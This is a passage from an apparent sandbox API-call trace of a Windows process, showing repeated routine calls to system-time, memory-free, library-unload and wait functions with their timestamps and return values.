lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x533ab6c0, dwHighDateTime=0x1d9eb0c)) [0070.901] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x533ab6c0, dwHighDateTime=0x1d9eb0c)) [0070.901] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x533ab6c0, dwHighDateTime=0x1d9eb0c)) [0070.901] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0071.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x53502320, dwHighDateTime=0x1d9eb0c)) [0071.044] free (_Block=0xeef60) [0071.044] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0071.045] free (_Block=0xf4740) [0071.046] free (_Block=0xed2c0) [0071.046] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x53502320, dwHighDateTime=0x1d9eb0c)) [0071.046] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x53502320, dwHighDateTime=0x1d9eb0c)) [0071.046] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x53502320, dwHighDateTime=0x1d9eb0c)) [0071.046] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0072.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x53e87b20, dwHighDateTime=0x1d9eb0c)) [0072.039] free (_Block=0xeef20) [0072.039] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0072.042] free (_Block=0xed400) [0072.043] free (_Block=0xed270) [0072.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x53e87b20, dwHighDateTime=0x1d9eb0c)) [0072.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x53e87b20, dwHighDateTime=0x1d9eb0c)) [0072.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x53e87b20, dwHighDateTime=0x1d9eb0c)) [0072.043] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0072.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x53ed3de0, dwHighDateTime=0x1d9eb0c)) [0072.080] free (_Block=0xeef60) [0072.080] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0072.080] free (_Block=0xf3750) [0072.081] free (_Block=0xed2c0) [0072.081] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x53ef9f40, dwHighDateTime=0x1d9eb0c)) [0072.081] free (_Block=0xef0a0) [0072.081] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0072.083] free (_Block=0xed270) [0072.083] free (_Block=0xed400) [0072.083] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0072.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5434a720, dwHighDateTime=0x1d9eb0c)) [0072.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5434a720, dwHighDateTime=0x1d9eb0c)) [0072.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5434a720, dwHighDateTime=0x1d9eb0c)) [0072.545] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0072.592] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x543bcb40, dwHighDateTime=0x1d9eb0c)) [0072.592] free (_Block=0xef0a0) [0072.592] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0072.593] free (_Block=0xf3750) [0072.594] free (_Block=0xed400) [0072.595] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x543e2ca0, dwHighDateTime=0x1d9eb0c)) [0072.595] free (_Block=0xef040) [0072.595] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0072.597] free (_Block=0xed270) [0072.598] free (_Block=0xed2c0) [0072.598] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0073.288] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x54a6e920, dwHighDateTime=0x1d9eb0c)) [0073.288] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x54a6e920, dwHighDateTime=0x1d9eb0c)) [0073.288] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x54a6e920, dwHighDateTime=0x1d9eb0c)) [0073.288] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0073.334] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x54ae0d40, dwHighDateTime=0x1d9eb0c)) [0073.334] free (_Block=0xef040) [0073.334] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0073.335] free (_Block=0xf3750) [0073.336] free (_Block=0xed2c0) [0073.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x54ae0d40, dwHighDateTime=0x1d9eb0c)) [0073.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x54ae0d40, dwHighDateTime=0x1d9eb0c)) [0073.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x54ae0d40, dwHighDateTime=0x1d9eb0c)) [0073.336] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0073.964] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x550d4440, dwHighDateTime=0x1d9eb0c)) [0073.964] free (_Block=0xeef00) [0073.964] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0073.967] free (_Block=0xed270) [0073.968] free (_Block=0xed400) [0073.968] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x550fa5a0, dwHighDateTime=0x1d9eb0c)) [0073.968] free (_Block=0xef040) [0073.968] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0073.969] free (_Block=0xf4740) [0073.969] free (_Block=0xed2c0) [0073.969] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0074.015] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5516c9c0, dwHighDateTime=0x1d9eb0c)) [0074.015] free (_Block=0xeef20) [0074.015] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0074.016] free (_Block=0xed2c0) [0074.018] free (_Block=0xed400) [0074.018] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0074.503] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x55609460, dwHighDateTime=0x1d9eb0c)) [0074.503] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x55609460, dwHighDateTime=0x1d9eb0c)) [0074.503] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x55609460, dwHighDateTime=0x1d9eb0c)) [0074.504] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0074.558] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5567b880, dwHighDateTime=0x1d9eb0c)) [0074.558] free (_Block=0xeef20) [0074.558] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0074.559] free (_Block=0xf4740) [0074.559] free (_Block=0xed400) [0074.559] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5567b880, dwHighDateTime=0x1d9eb0c)) [0074.560] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5567b880, dwHighDateTime=0x1d9eb0c)) [0074.560] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5567b880, dwHighDateTime=0x1d9eb0c)) [0074.560] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0075.145] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x55c22cc0, dwHighDateTime=0x1d9eb0c)) [0075.145] free (_Block=0xef020) [0075.145] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0075.147] free (_Block=0xed2c0) [0075.149] free (_Block=0xed270) [0075.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x55c22cc0, dwHighDateTime=0x1d9eb0c)) [0075.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x55c22cc0, dwHighDateTime=0x1d9eb0c)) [0075.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x55c22cc0, dwHighDateTime=0x1d9eb0c)) [0075.149] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0075.205] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x55cbb240, dwHighDateTime=0x1d9eb0c)) [0075.206] free (_Block=0xeef20) [0075.206] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0075.206] free (_Block=0xf4740) [0075.207] free (_Block=0xed400) [0075.207] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x55cbb240, dwHighDateTime=0x1d9eb0c)) [0075.207] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x55cbb240, dwHighDateTime=0x1d9eb0c)) [0075.207] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x55cbb240, dwHighDateTime=0x1d9eb0c)) [0075.207] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0075.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x56393180, dwHighDateTime=0x1d9eb0c)) [0075.929] free (_Block=0xeef60) [0075.929] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0075.935] free (_Block=0xed270) [0075.936] free (_Block=0xed2c0) [0075.936] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x563b92e0, dwHighDateTime=0x1d9eb0c)) [0075.937] free (_Block=0xeef20) [0075.937] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0075.937] free (_Block=0xf4740) [0075.938] free (_Block=0xed400) [0075.938] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0076.029] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5649db20, dwHighDateTime=0x1d9eb0c)) [0076.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5649db20, dwHighDateTime=0x1d9eb0c)) [0076.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5649db20, dwHighDateTime=0x1d9eb0c)) [0076.030] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0076.870] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x56ca6560, dwHighDateTime=0x1d9eb0c)) [0076.870] free (_Block=0xeef00) [0076.870] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0076.873] free (_Block=0xed400) [0076.873] free (_Block=0xed2c0) [0076.873] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x56ca6560, dwHighDateTime=0x1d9eb0c)) [0076.874] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x56ca6560, dwHighDateTime=0x1d9eb0c)) [0076.874] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x56ca6560, dwHighDateTime=0x1d9eb0c)) [0076.874] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0076.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x56d18980, dwHighDateTime=0x1d9eb0c)) [0076.919] free (_Block=0xeef20) [0076.919] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0076.919] free (_Block=0xf3750) [0076.920] free (_Block=0xed270) [0076.920] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x56d18980, dwHighDateTime=0x1d9eb0c)) [0076.920] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x56d18980, dwHighDateTime=0x1d9eb0c)) [0076.920] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x56d18980, dwHighDateTime=0x1d9eb0c)) [0076.920] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0077.489] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x57273b00, dwHighDateTime=0x1d9eb0c)) [0077.489] free (_Block=0xef0a0) [0077.490] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0077.491] free (_Block=0xed2c0) [0077.493] free (_Block=0xed400) [0077.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x57299c60, dwHighDateTime=0x1d9eb0c)) [0077.494] free (_Block=0xeef20) [0077.494] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0077.494] free (_Block=0xf3750) [0077.495] free (_Block=0xed270) [0077.495] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0077.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5737e4a0, dwHighDateTime=0x1d9eb0c)) [0077.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5737e4a0, dwHighDateTime=0x1d9eb0c)) [0077.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5737e4a0, dwHighDateTime=0x1d9eb0c)) [0077.597] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0078.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x57d29e00, dwHighDateTime=0x1d9eb0c)) [0078.604] free (_Block=0xef020) [0078.604] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0078.608] free (_Block=0xed270) [0078.608] free (_Block=0xed400) [0078.608] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x57d29e00, dwHighDateTime=0x1d9eb0c)) [0078.609] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x57d29e00, dwHighDateTime=0x1d9eb0c)) [0078.609] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x57d29e00, dwHighDateTime=0x1d9eb0c)) [0078.609] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0078.656] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x57d9c220, dwHighDateTime=0x1d9eb0c)) [0078.656] free (_Block=0xeef20) [0078.656] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0078.657] free (_Block=0xf4740) [0078.658] free (_Block=0xed2c0) [0078.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x57d9c220, dwHighDateTime=0x1d9eb0c)) [0078.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x57d9c220, dwHighDateTime=0x1d9eb0c)) [0078.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x57d9c220, dwHighDateTime=0x1d9eb0c)) [0078.658] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0079.240] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x58343660, dwHighDateTime=0x1d9eb0c)) [0079.241] free (_Block=0xef040) [0079.241] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0079.242] free (_Block=0xed400) [0079.245] free (_Block=0xed270) [0079.246] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x58343660, dwHighDateTime=0x1d9eb0c)) [0079.246] free (_Block=0xeef20) [0079.246] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0079.247] free (_Block=0xf4740) [0079.248] free (_Block=0xed2c0) [0079.248] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0079.307] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x583dbbe0, dwHighDateTime=0x1d9eb0c)) [0079.307] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x583dbbe0, dwHighDateTime=0x1d9eb0c)) [0079.307] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x583dbbe0, dwHighDateTime=0x1d9eb0c)) [0079.307] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0079.702] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x58793e40, dwHighDateTime=0x1d9eb0c)) [0079.703] free (_Block=0xeef00) [0079.703] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0079.705] free (_Block=0xed2c0) [0079.707] free (_Block=0xed270) [0079.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x58793e40, dwHighDateTime=0x1d9eb0c)) [0079.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x58793e40, dwHighDateTime=0x1d9eb0c)) [0079.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x58793e40, dwHighDateTime=0x1d9eb0c)) [0079.707] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0079.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x58852520, dwHighDateTime=0x1d9eb0c)) [0079.782] free (_Block=0xeef20) [0079.782] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0079.783] free (_Block=0xf4740) [0079.783] free (_Block=0xed400) [0079.783] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x58852520, dwHighDateTime=0x1d9eb0c)) [0079.783] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x58852520, dwHighDateTime=0x1d9eb0c)) [0079.783] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x58852520, dwHighDateTime=0x1d9eb0c)) [0079.783] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0080.570] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x58fe8b40, dwHighDateTime=0x1d9eb0c)) [0080.570] free (_Block=0xeef60) [0080.570] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0080.573] free (_Block=0xed270) [0080.573] free (_Block=0xed2c0) [0080.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x58fe8b40, dwHighDateTime=0x1d9eb0c)) [0080.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x58fe8b40, dwHighDateTime=0x1d9eb0c)) [0080.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x58fe8b40, dwHighDateTime=0x1d9eb0c)) [0080.574] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0080.709] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5913f7a0, dwHighDateTime=0x1d9eb0c)) [0080.709] free (_Block=0xeef20) [0080.709] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0080.710] free (_Block=0xf3750) [0080.710] free (_Block=0xed400) [0080.710] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5913f7a0, dwHighDateTime=0x1d9eb0c)) [0080.710] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5913f7a0, dwHighDateTime=0x1d9eb0c)) [0080.710] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5913f7a0, dwHighDateTime=0x1d9eb0c)) [0080.711] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0081.363] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5977f160, dwHighDateTime=0x1d9eb0c)) [0081.363] free (_Block=0xef0a0) [0081.363] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0081.366] free (_Block=0xed2c0) [0081.366] free (_Block=0xed270) [0081.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5977f160, dwHighDateTime=0x1d9eb0c)) [0081.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5977f160, dwHighDateTime=0x1d9eb0c)) [0081.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5977f160, dwHighDateTime=0x1d9eb0c)) [0081.367] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0081.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x597f1580, dwHighDateTime=0x1d9eb0c)) [0081.416] free (_Block=0xeef20) [0081.416] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0081.416] free (_Block=0xf3750) [0081.417] free (_Block=0xed400) [0081.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x597f1580, dwHighDateTime=0x1d9eb0c)) [0081.417] free (_Block=0xef020) [0081.417] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0081.420] free (_Block=0xed270) [0081.420] free (_Block=0xed2c0) [0081.421] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0081.941] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x59d00440, dwHighDateTime=0x1d9eb0c)) [0081.941] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x59d00440, dwHighDateTime=0x1d9eb0c)) [0081.941] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x59d00440, dwHighDateTime=0x1d9eb0c)) [0081.941] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0081.983] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x59d4c700, dwHighDateTime=0x1d9eb0c)) [0081.983] free 